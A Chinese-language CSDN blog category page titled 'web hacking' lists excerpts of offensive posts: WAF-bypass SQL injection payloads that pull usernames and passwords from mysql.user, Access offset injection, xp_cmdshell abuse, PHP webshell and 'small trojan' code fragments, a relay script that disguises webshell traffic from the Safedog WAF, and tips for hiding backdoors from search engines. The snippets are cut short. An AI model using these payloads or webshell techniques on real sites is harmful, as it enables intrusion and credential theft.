![](https://img-blog.csdnimg.cn/20201014180756930.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
web hacking
文章平均质量分 65
eT48_Sec
这个作者很懒,什么都没留下…
展开
-
bypass waf 进行post注入
原标题:轻松绕各种WAF的POST注入、跨站防御(比如安全狗) 轻松绕各种WAF的POST注入、跨站防御(比如安全狗) File: ID: 转载自:http:/转载 2015-01-13 21:13:40 · 618 阅读 · 0 评论 -
MYSQL-执行“load data local infile”报错“The used command is not allowed with this MySQL version”
MYSQL在执行“load data local infile”的时候报错“The used command is not allowed with this MySQL version”,本人所用的版本是 “5.5.38-0+wheezy1”,然后在网上找到了下面这篇文章,得到的解决方案。在部署在不同机器上的mysql数据库之间导数据时,load data infile是一个很高转载 2015-01-04 16:52:34 · 6276 阅读 · 1 评论 -
使用include实现php一句话
我是菜牛各位看官轻喷。PHP一句话主要实现的是,动态执行PHP代码。PHP小马主要实现的是,文件上传。PHP大马主要实现的是,提权。include 语句包含并运行指定文件。 <?php//服务端if(!empty($_POST['code'])){$code=trim($_POST['code']);$handle=fopen('cmd.txt','w原创 2015-01-05 15:57:03 · 842 阅读 · 0 评论 -
MSSQL-xp_cmdshell 的利用
一.关于xp_cmdshellxp_cmdshell是用于执行Windows命令的一个扩展存储过程。xp_cmdshell 生成的 Windows 进程与 SQL Server 服务帐户具有相同的安全权限。 自SQL Server 2000后,默认情况下,xp_cmdshell 选项在新安装的软件上处于禁用状态,但是可以运行 sp_configure 系统存储过程来启用它。二.xp原创 2015-01-08 12:48:48 · 1324 阅读 · 0 评论 -
菜刀杀狗
中转是一种思路,把狗拦截的关键字以一种等效的方式替换为其他的。<?php $webshell="http://www.example.com/1.php";//把这里改成你的shell地址 $webshell=$webshell."?&1141056911=base64_decode"; $da=$_POST; $data = $da; @$data=str_replace("ba转载 2015-01-29 21:15:51 · 658 阅读 · 0 评论 -
使用sqlmap 代替access 注入中转
背景:测试站点是ASP的程序,经测试 shownews.asp?id=61存在注入GET方法 shownews.asp?id=61 and 4>1 返回警告改成POST方法,仍然出现警告最后,测试cookie注入,如下图,在控制台提交document.cookie="id="+escape("61 and 4>1"),新增cookie项id,然后再次访问shownews.asp原创 2015-03-14 23:40:35 · 1609 阅读 · 0 评论 -
MYSQL注入绕过技巧
/lingdao.php?id=161.0ORDER BY%2B9/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version)Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)原创 2014-12-23 23:17:13 · 5482 阅读 · 0 评论 -
MS14-065 漏洞播报
原文:https://technet.microsoft.com/zh-CN/library/security/ms14-065.aspx当用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。 成功利用这些漏洞的攻击者可以获得与当前用户相同的用户权限。Windows 7(32 位/64位)Service Pack 1 上的 IE8、原创 2014-12-27 17:40:27 · 664 阅读 · 0 评论 -
PHP小马
http://xiaojianke.blog.163.com是我原来的博客,工作后换成了C博客,这里吐槽一下网易博客太差了。看到网上那么多PHP小马,我也来自己写一个,练习PHP编程。<?phperror_reporting(E_ERROR);header('Content-Type:text/html; charset=utf-8');$path=getcwd();$pe原创 2015-01-04 21:18:09 · 1905 阅读 · 1 评论 -
php LFI读php文件源码以及直接webshell
小菜无意中看到大牛的一篇文章,看后觉得很受益,所以就转载过来了。之前只知道“include”语句是包含并运行指定文件,遇到的话也只是找上传点然后getshell。看来这篇文章后,才知道还可以读取php文件的源代码,这样的话,就可以读取网站的配置文件了。而且在allow_url_include=On 的情况下,还可以直接执行php代码。原文:http://hi.baidu.com/c转载 2015-01-05 14:13:45 · 1169 阅读 · 0 评论 -
通过“Robots <META> tag”防止搜索引擎收录网页后门
这是我这b374k.php上看到的。我们通过“Robots tag”来告诉搜索引擎spider不要索引页面的内容以及不扫描页面中的链接。这样他人就不能通过搜索关键字的方式找到我们的网页后门了。还可以再加一个“noarchive”属性防止搜索引擎保存网页的快照。参考:http://www.robotstxt.org/meta.html http:原创 2015-01-27 20:38:01 · 539 阅读 · 0 评论 -
access 偏移注入 案例
news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id看个案例就明白是什么意思了先是背景news.asp?id=3306 存在注入然后通过 order by 可知查询返回 12 列通过数据表字典跑出管理员表 m原创 2015-03-14 20:44:42 · 1252 阅读 · 0 评论 -
MYSQL-手工SQL注入绕过技巧-实战篇
之前遇到一个站点,经检测存在SQL注入,但是有WAF存在,后来知道是绿盟的WEB应用防火墙。后来在社区看到了一篇关于《sql注入绕过技巧》的文章后(原文:http://zone.wooyun.org/content/16772),回过头来重新进行手工,这次总算干掉了WAF。以下是自己对于本次渗透的一些学习笔记,包含一些绕过waf的技巧。首先判断注入点id=161-(select原创 2014-12-24 15:09:28 · 5942 阅读 · 0 评论 -
php-文件上传
简单的编程,只为学习PHP。<?phpheader("Content-Type:text/html; charset=utf-8");error_reporting(0);print<<<END文件上传实例END;$uppath=$_SERVER["SCRIPT_FILENAME"];$uppath=dirname($uppath);$uppath =原创 2015-01-13 16:01:11 · 440 阅读 · 0 评论 -
通过UA判断客户端的操作系统类型
我们可以通过一个javascript脚本获取客户端返回的User-Agent,然后根据其中的信息判断客户端使用什么操作系统。Windows系列Windows NT俗称NT 5.0Windows 2000NT 5.1Windows XPNT 5.2Windows XPWindows 2003NT6.0原创 2015-01-03 20:26:00 · 2609 阅读 · 0 评论